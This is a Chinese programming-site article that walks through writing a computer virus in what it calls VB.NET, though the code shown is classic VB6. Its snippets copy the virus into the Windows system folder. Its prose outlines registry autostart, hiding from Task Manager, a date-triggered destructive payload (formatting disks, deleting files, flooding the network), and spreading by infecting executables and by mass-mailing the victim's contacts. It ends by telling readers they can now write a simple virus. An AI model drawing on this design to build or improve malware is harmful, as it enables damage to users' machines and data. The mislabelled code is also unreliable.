几步解决VB.NET编写病毒

开发 后端
在我们进行VB.NET编写病毒这一操作的时候,需要注意几个前提因素以及编程中需要注意的问题。本文就为大家总结了这些问题,希望对大家有所帮助。

VB.NET的应用范围确实非常广泛,实现的功能也是多样化。相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB.NET编写病毒为例,揭开她的面纱。 #t#

用VB编写病毒需要考虑到如下几点:

* 感染主机

首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\windows\system\),可用filecopy语句实现;如果病毒已感染主机则结束判断。

例如,判断C:\windows\system\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

病毒源文件名为game.exe

声明部分:

 

  1. ""定义 FileExists% 函数   
  2. public success%   
  3. Function FileExists%(fname$)   
  4. On Local Error Resume Next   
  5. Dim ff%   
  6. ff% = FreeFile   
  7. Open fname$ For Input As ff%   
  8. If Err Then   
  9. FileExists% = False   
  10. Else   
  11. FileExists% = True   
  12. End If   
  13. Close ff%   
  14. End Function  

 

VB.NET编写病毒代码部分:

  1. ""判断文件是否存在   
  2. success% = FileExists%
    ("C:\windows\system\Killer.exe")   
  3. If success% = False Then 
    ""病毒不存在则拷贝病毒到计算机   
  4. FileCopy "game.exe", 
    "C:\windows\system\Killer.exe"   
  5. ... ""修改注册表,将其加入
    RUN中。(省略若干代码)   
  6. End If  

 

* 开机启动病毒

在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)

* 任务管理器

在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。

* VB.NET编写病毒后发作条件

可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例:

 

  1. if day(date)=16 then ""
    16是发作日期,取值为1-31的整数   
  2. ... ... ""kill ******* 
    当日期相符时运行的破坏性代码
    (格式化、删除指定的文件类型、
    发送数据包杜塞网路等,省略若干代码)   
  3. end if  

 

* 病毒的破坏性

编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。

* VB.NET编写病毒的繁殖

原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。

读完本文章相信您已对VB.NET编写病毒思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。

责任编辑:曹凯 来源: 中国IT实验室
相关推荐

2009-10-14 10:08:05

VB.NET编写DEC

2009-10-12 10:04:53

VB.NET List

2009-10-28 16:14:21

VB.NET编写托盘程

2010-01-18 14:35:11

VB.NET读取内存

2010-01-21 15:10:37

VB.NET静态托盘程

2010-01-11 10:44:47

VB.NET多窗体

2010-01-11 11:37:08

VB.NET操作CSV

2010-01-15 11:31:02

VB.NET接口实现多

2011-06-17 11:05:22

VB.NET

2009-06-24 15:45:32

VB.NET

2009-10-29 14:02:24

VB和VB.NET比较

2009-10-27 15:02:07

VB.NET文件处理

2010-01-19 18:37:24

VB.NET内存占用

2010-01-11 14:16:14

VB.NET生成验证码

2010-01-18 11:03:17

VB.NET网页计数器

2009-10-14 12:51:41

VB.NET Data

2009-10-20 14:21:55

VB.NET fnSi

2010-01-22 15:42:01

VB.NET错误

2010-01-11 11:02:27

VB.NET调用存储过

2009-11-02 17:12:01

VB和VB.NET
点赞
收藏

51CTO技术栈公众号